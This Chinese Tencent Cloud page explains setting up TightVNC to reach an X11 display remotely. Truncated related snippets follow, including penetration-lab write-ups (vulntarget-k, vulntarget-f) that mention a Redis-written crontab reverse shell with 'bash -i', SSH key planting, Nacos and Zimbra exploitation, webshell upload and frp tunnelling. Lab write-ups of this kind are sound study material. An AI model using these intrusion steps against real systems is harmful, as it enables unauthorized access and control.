首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

从空的环境(bash)访问X11显示

从空的环境(bash)访问 X11 显示涉及到远程访问和显示图形界面。为了实现这个目标,你需要安装并配置相关的软件。以下是一些关键步骤:

  1. 安装 X Window System 和 X11 服务器:
代码语言:txt
复制
sudo apt-get install xorg xserver-xorg
  1. 安装 VNC 服务器(例如 TightVNC):
代码语言:txt
复制
sudo apt-get install tightvncserver
  1. 创建一个新的 VNC 配置文件:
代码语言:txt
复制
tightvncserver :1 -geometry 1280x800 -depth 24

这将创建一个新的 VNC 会话,监听端口 5901,屏幕分辨率为 1280x800,颜色深度为 24 位。

  1. 配置 VNC 服务器允许远程访问:

编辑 VNC 配置文件,通常位于 ~/.vnc/xstartup。在文件末尾添加以下内容:

代码语言:txt
复制
xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10 -ls -title $VNCDESKTOP &
twm &
  1. 重启 VNC 服务器:
代码语言:txt
复制
tightvncserver -kill :1
tightvncserver :1 -geometry 1280x800 -depth 24
  1. 配置防火墙以允许 VNC 流量:
代码语言:txt
复制
sudo ufw allow 5901/tcp
  1. 在客户端计算机上安装 VNC 客户端(例如 RealVNC)并连接到 VNC 服务器。

现在你应该可以从客户端计算机访问 X11 显示了。

推荐的腾讯云相关产品和产品介绍链接地址:

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

理解 LinuxUnix 登录脚本

当启动X Window系统会话时(不管是用显示管理或虚拟终端启动startx),将会执行/etc/X11/Xsessionshell脚本。这基本上相当于登录shell调用/etc/profile。...但是它也相当复杂,类似于/etc/profile怎么/etc/profile.d目录中脚本读取配置,怎么/etc/X11/Xsession.d/目录下/etc/X11/Xsessions脚本中读取配置...当然,许多显示管理器提供登录界面直接选择公共会话管理器能力,所以这个文件通常是不必要。然而.xsession提供了更多地灵活性,你可以用任何程序调用这个文件,而不仅仅是会话管理器。...在Debian中默认配置仅用于清除屏幕(我认为安全角度来说很重要),但是可以轻微地想象以下就知道能用于其他目的,例如,在你离开你机器之前显示一个几秒钟提醒。...你可以把它添加到.profile,并且.xessionrc作为.profile来源。但是之后,当你X服务没有在运行时候,你就不需要导出环境变量。

1.1K10

【系统和网络软件】51component为您带来适用于Windows系统和网络软件——MobaXterm与MobaSSH

Mobatek两个主要程序MobaXterm和MobaSSH主要针对在使用Unix/Linux和Windows服务器网络环境中工作企业用户。...02、远程网络工具和Unix命令MobaXterm为Windows桌面提供所有重要远程网络工具(SSH、X11、RDP、VNC、FTP、MOSH...)和Unix 命令(bash、ls、cat、sed...您远程应用程序也将使用嵌入式X 服务器无缝显示在您Windows 桌面上。...主要特征01、嵌入式X服务器基于X.org完全配置Xserver02、轻松显示导出基于X.org完全配置Xserver03、X11-转发能力您远程显示器使用SSH进行安全传输04、带有SSH选项卡式终端基于具有抗锯齿字体和宏支持...、多功能会话管理器一个应用程序中所有网络工具:Rdp、Vnc、Ssh、Mosh、X11、...08、便携轻便应用MobaXterm已打包为单个可执行文件,不需要管理员权限,您可以U盘启动09、专业应用

1K50

MobaXterm(X服务器和SSH客户端)

MobaXterm提供了所有重要远程网络工具(SSH, X11, RDP, VNC, FTP, MOSH,…)和Unix命令(bash, ls, cat, sed, grep, awk, rsync,...如果你想在你公司内部使用它,你应该考虑订阅MobaXterm专业版:这将让你访问更多功能和“定制器”软件。...在开发MobaXterm时,我们专注于一个简单目标:提出一个直观用户界面,以便您通过不同网络或系统有效地访问远程服务器。...关键特性 嵌入式X服务器 基于X.org完整配置Xserver 易于显示输出 DISPLAY远程Unix导出到本地Windows X11-Forwarding能力 远程显示使用SSH进行安全传输 带有...,不需要管理权限,你可以u盘开始 专业应用 MobaXterm Professional专为安全性和稳定性而设计 软件截图 软件下载 官网地址

3.3K30

ROS2开发环境

本文描述了一种在Docker环境中开发和调试ROS程序方法。旨在解决环境配置和软件依赖给我们带来困扰。 我们使用Docker+Vscode来构建开发环境。...如果files to exclude为,并且后面的图标按钮被选中,则只会在打开文件中搜索。 图片 另外,在.gitignore文件中默认是加入了src文件夹。...所以在vscode中文件浏览器中src目录文件是灰色显示。并且vscode中git工具也会忽略src目录git信息。...在Docker中运行GUI应用 devcontainer.json 中 runArgs 字段中添加 --volume=/tmp/.X11-unix:/tmp/.X11-unix 表示挂载 x11 相关目录到容器中...当前工作空间名称,会显示在左下角 build dockerfile: 用于指定 dockerfile 文件路径,这里是相对于 devcontainer.json 文件而言 context:用于指定

1.3K00

在Mac上使用远程X11应用

所以通常也有很多人只关注占领桌面市场Windows,对于败退在边缘XWindows完全嗤之以鼻。 其实只GUI层面上来对比Windows和XWindows是不公平。...XWindows设计之初就是一个显示服务器概念,在显示器服务器和应用之间,有一套协议来沟通彼此,是C/S架构,这个协议可以序列化,从而显示设备、跟应用运行环境,可以不在同一台电脑之上。...Windows环境天然对NV系列显卡和CUDA驱动支持很充分,所以也有很多程序员使用Windows环境做开发。...如果linux用bash外壳,其设置方法为:export DISPLAY=mac电脑IP地址:0.0,冒号后面数字意思是:第0个设备第0个屏幕。...打开之后,还要设置DISPLAY环境变量为:export DISPLAY=localhost:10.0,其中localhost表示直接将显示数据发送到本地,位置10跟上面sshd设置配套,表示由本地

8.7K71

Ubuntu下安装GAMIT 10.40

安装过程来看,Ubuntu在台式机上会安装gcc,但是笔记本上则不会,所以在第一次装时候并没有成功,虽然从头到尾都安装了,没有中断,但最后采用doy验证时候没有通过...出入部分主要是软件版本显示问题(原文是GAMIT 10.34,我安装是GAMIT 10.40)和安装路径。...通过gcc --version确认版本为 GCC 4.4.5 Gamit安装需要csh(tcsh)环境、 GNU gfortran...libx11-dev是X11程序开发库,它提供lib.h和 libx11.a(libx11.so)是Gamit安装必须用到两个库文件,主要是为Globk提供图形库支持。...由于ubuntu默认使用bash,所以,用户主目录下并没有csh配置文件,你需要在自己主文件夹下建立一个“.cshrc”文件,并输入内容如下 <p align

90940

Java:Headless Mode

使用XShell远程访问CentOS,并启动Tomcat; ? d. 关闭XShell; e. 用浏览器访问测试程序; D. 测试结果: ?...报错中可以看出,服务器在调用AWT绘图API时,尝试通过地址“localhost:10.0”与一个叫“X11 Window Server”东西建立连接,但失败了....再次访问时,报错就变为“不能初始化类...——From Wikipedia Headless是指服务器显示设备状态 (缺少显示器、键盘、鼠标) 例:应用集群、数据库集群等,它们一般没有显示器、键盘、鼠标,都是通过网络远程操作。 ?...版本也可以在Headless模式下正常使用; 通常B/S型Web应用运行于无显示设备、驱动服务器端环境中,但是有使用AWT绘图接口可能(例如:用Images、Fonts接口生成图片验证码);所以给Tomcat...当使用XShell连接到Linux时,图形化环境是可用(Linux作为XClient与XShell建立X11通信通道,将图形图像委托给XShell显示);关闭XShell(XServer)后,X11通道被断开

2.8K11

vulntarget-k

vim /etc/netplan/00-installer-config.yaml sudo netplan apply 信息收集 扫描存活主机和端口,发现开放了22、8080、8081、9999 访问...Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 访问..."http://example.com" } 再来尝试下打内存,好家伙,不会Java尝试了很久然后直接给我干蓝屏了咕咕咕~这里放弃了,等作者出了wp再看看 接着来看8848端口,nacos有个未授权访问漏洞...# 添加名为xxxkey,值为后面反弹shell语句,5个星号代表每分钟执行一次,其中\n同样是为了换行,避免crontab语法错误 set xxx "\n\n* * * * * bash -i...>" save 利用姿势3:redis写入ssh公钥,获取操作系统权限 kali生成ssh公钥和私钥,密码设置为 ssh-keygen -t rsa 进入.ssh目录,然后将生成公钥写入ceshi.txt

1.1K30

云课五分钟到一分钟之v-rep_pro_edu_v3_6_2

/vrep 录屏 云课五分钟到一分钟之v-rep 云课五分钟到五秒钟焦虑甜甜圈向前冲-CSDN博客 你给出脚本和步骤似乎是为了下载、解压并运行一个名为V-REP机器人仿真软件特定版本(针对Ubuntu...运行V-REP启动脚本: bash复制代码 ./vrep.sh这条命令执行V-REP提供启动脚本,通常用于设置环境变量或执行其他启动前准备工作。...如果V-REP是一个图形界面的应用程序,确保你系统有图形界面环境,或者通过适当设置(如SSHX11转发)在远程服务器上运行图形应用程序。 当然,我会更加详细全面地解释你提供脚本和步骤。...运行V-REP启动脚本 bash复制代码 ./vrep.sh 这条命令运行V-REP提供启动脚本vrep.sh。这个脚本通常用于设置环境变量、启动V-REP服务或执行其他必要启动前操作。...在运行图形界面的应用程序(如V-REP)时,确保你系统已经安装了必要图形驱动和桌面环境。如果你是在远程服务器上运行,你可能需要使用SSHX11转发或其他远程桌面解决方案来显示图形界面。

4800

基于 TensorFlow 、OpenCV 和 Docker 实时视频目标检测

在 Dat Tran 文章中有这部分详细描述。难点在于将网络摄像头流发送到 docker 容器并恢复输出流以使用 X11 服务器显示它。...特别是介绍了将容器连接到主机 X 服务以显示内容 你必须开启 xhost,以便容器可以通过读写 X11 unix 套接字来正常显示内容。...首先设置 X 服务器主机权限(有一定安全隐患)让 docker 访问它: xhost +local:docker 在完成项目后,应当恢复默认设置 xhost -local:docker 然后创建两个环境变量...XSOCK 和 XAUTH: XSOCK=/tmp/.X11-unix XAUTH=/tmp/.docker.xauth 第一个环境变量引用 X11 unix 套接字,第二个引用 X 验证文件配置适当权限...传入我们 DISPLAY 环境变量,为 X11 Unix 套接字增加一个卷,并为 X 身份验证文件增加一个名为 XAUTHORITY 环境变量,并让该变量指向它: docker run -it --

2.4K20

MobaXterm远程连接工具脆弱性

MobaX 术语是远程计算终极工具箱, 适用于 Windows 增强型终端,带有 X11 服务器、选项卡式 SSH 客户端、网络工具以及快速监控远程系统运行状况等 Enhanced terminal...MobaXterm 提供了所有重要远程网络工具(SSH,X11,RDP,VNC,FTP,MOSH等)和Unix命令(bash,ls,猫,sed,grep,awk,rsync等)到Windows桌面,在一个便携式...嵌入式 X 服务器: 基于 X.org 完全配置 X 服务器 轻松导出显示器 : 显示远程 Unix 导出到本地窗口 X11 转发功能: 您远程显示器使用 SSH 实现安全传输 带固态混合选项卡式终端...: 基于 PuTTY,具有抗锯齿字体和宏支持 视窗上许多Unix/Linux命令 :基本 Cygwin 命令(bash, grep, awk, sed, rsync,……) 附加组件和插件 :您可以使用插件扩展...# 例如,在CentOS上安装 Python3 以及 开源工具依赖模块(此处由于我是Windows,Python环境都已经配置号楼,所以我只安装相关依赖模块) yum install -y git

2.2K10

vulntarget-f

;然后就是centos这台环境说是有点问题要根据文档搭一遍,不过我这边恢复快照环境正常没出现问题,有问题可以根据下面文档自行搭建 https://mp.weixin.qq.com/s/t_vxF2EivycI..._1WEjunEIg 信息收集 扫描存活主机和端口,发现开放了22、443等端口,存在Zimbra 访问web如下: 漏洞利用 可以利用msf中自带进行攻击 msf上线后反弹shell python...soap接口来获取到高权限token 访问/service/proxy?...上传文件从而getshell,这里我们使用python脚本上传webshell,shell路径为/downloads/shell.jsp(访问shell时候得加上ADMIN_AUTH_TOKEN import...(但是这里我没利用成功 再上传fscan扫一下内网,发现还有个192.168.30.129网卡开放了22、8081端口 接着上传frp建立代理 chmod 777 frpc # 如果用+x这里不知道为啥还是会显示没权限

70520

MobaXterm 12中文绿色版

MobaXterm向Windows桌面提供所有重要远程网络工具(SSH,X11,RDP,VNC,FTP,MOSH ......)和Unix命令(bash,ls,cat,sed,grep,awk,rsync...嵌入式X服务器 完全配置Xserver基于X.org 轻松显示出口 DISPLAY远程Unix导出到本地Windows X11-Forwarding功能 您远程显示器使用SSH进行安全传输 带有SSH...标签终端 基于PuTTY抗锯齿字体和宏支持 Windows上许多Unix / Linux命令 基本Cygwin命令(bash,grep,awk,sed,rsync,...)...附加组件和插件 您可以使用插件扩展MobaXterm功能 多功能会话管理器 您在一个应用程序中所有网络工具:Rdp,Vnc,Ssh,Mosh,X11,......4、嵌入式服务器 MobaXterm允许您启动远程访问网络守护程序。为了使用这些守护进程,不需要额外工具或运行时。

2.6K20

远程工具MobaXterm

命令bash,ls,cat,sed,grep,awk,rsync,而且在软件包管理器中还可以下载并使用更多Unix工具。...当然了该软件采用了X11服务器,能够让显示器使用SSH进行安全传输,不仅可以简化还可以保护您工作。 软件介绍: MobaXterm是一款豪华、全功能终端软件。...它可以让你拖动并直接/到远程服务器使用安全SFTP连接拖放文件。 3.X11服务器 当您运行SSH,TELNET或RLOGIN/RSH会话。...你将能够直接在本地WindowsPC上显示远程应用程序。 在一个SSH会话,也没有必要为MobaXterm使用X11转发。 以缓解并保护您工作设置“DISPLAY”变量。...5.多执行 编写一次,到处运行: 这个工具可以让你在同一时间运行在许多不同服务器相同命令。 6.嵌入式服务器 MobaXterm可以启动网络守护程序进行远程访问

18910
领券